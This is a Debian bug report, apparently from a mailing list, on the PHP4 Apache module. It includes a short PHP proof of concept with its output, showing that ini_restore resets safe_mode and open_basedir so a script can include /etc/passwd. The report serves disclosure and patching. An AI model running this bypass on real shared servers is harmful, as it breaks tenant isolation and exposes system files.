Package: libapache2-mod-php4
Version: 4:4.3.10-20
Severity: important
I would like to verify if it is still possible to use the ini_restore
bug on our server . I determined that it is still possible :
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwdd");
ini_restore("safe_mode");
ini_restore("open_basedir");
include("/etc/passwdd");
?>
gives :
1
/home/webusers/JdR:/usr/share:/tmp
Warning: main(): open_basedir restriction in effect. File(/etc/passwdd)
is not within the allowed path(s): (/home/webusers/JdR:/usr/share:/tmp)
in /home/webusers/JdR/html/test.php on line 4
Warning: main(/etc/passwdd): failed to open stream: Operation not
permitted in /home/webusers/JdR/html/test.php on line 4
Warning: main(): Failed opening '/etc/passwdd' for inclusion
(include_path='.:/usr/share/fpdf:/usr/share/jpgraph/') in
/home/webusers/JdR/html/test.php on line 4
File with the permissions of /etc/passwd
So i think that this security hole is still real in this 4.3
(and the bug is only corrected in 4.4.4 version)
-- System Information:
Debian Release: 3.1
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.14.3n
Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15)
Versions of packages libapache2-mod-php4 depends on:
ii apache2-mpm-prefork 2.0.54-5sarge1 traditional model for Apache2
ii libbz2-1.0 1.0.2-7 high-quality block-sorting file co
ii libc6 2.3.2.ds1-22sarge6 GNU C Library: Shared libraries an
ii libcomerr2 1.37-2sarge1 common error description library
ii libdb4.2 4.2.52-18 Berkeley v4.2 Database Libraries [
ii libexpat1 1.95.8-3 XML parsing C library - runtime li
ii libkrb53 1.3.6-2sarge4 MIT Kerberos runtime libraries
ii libmagic1 4.12-1sarge1 File type determination library us
ii libpcre3 4.5-1.2sarge1 Perl 5 Compatible Regular Expressi
ii libssl0.9.7 0.9.7e-3sarge4 SSL shared libraries
ii libzzip-0-12 0.12.83-4 library providing read access on Z
ii mime-support 3.28-1 MIME files 'mime.types' & 'mailcap
ii php4-common 4:4.3.10-20 Common files for packages built fr
ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime
-- no debconf information
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
